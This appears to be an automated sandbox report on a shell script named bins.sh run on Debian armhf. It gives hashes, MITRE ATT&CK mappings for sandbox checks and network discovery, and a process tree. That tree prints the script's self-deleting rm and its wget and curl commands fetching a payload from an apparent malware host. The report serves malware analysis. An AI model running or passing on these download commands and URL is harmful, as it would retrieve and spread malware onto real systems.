7a86a2ccec92de02fdf06d3ca7477e30370782b4d90be12c0c8c9f39b0d2405c

Analysis

max time kernel
148s
max time network
28s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/11/2024, 08:27

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General

Target
bins.sh
Size 10KB
Sample241122-kcemwstlbl
SHA256 7a86a2ccec92de02fdf06d3ca7477e30370782b4d90be12c0c8c9f39b0d2405c
MD5 6e555a45653e776efa9c7f29b0d79156
SHA1 7a0cd8b1d70c9eed4dd226aaec813a99cd0adeb1
SHA512 8eb131d8379aa3de0e37042d0716f2e435f8d1287fafd8929bf6a094d1ae50c8b69ed2f33b85103b5f2eb223b7b73c70a29df21d1e266bfdd4d60f6e9d8b027c
SSDEEP 192:cT9OA/zwpJbN5m3HP+CsOc9BkH3UcN5m3HQ9BkH3qEsm/zwpJHE:s9O3N5m3HP+CL8cN5m3HuED
MD5 SHA1 SHA512 SSDEEP

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
681	curl
672	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:668
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:670
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
  2⤵
  - System Network Configuration Discovery
  PID:672
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:681

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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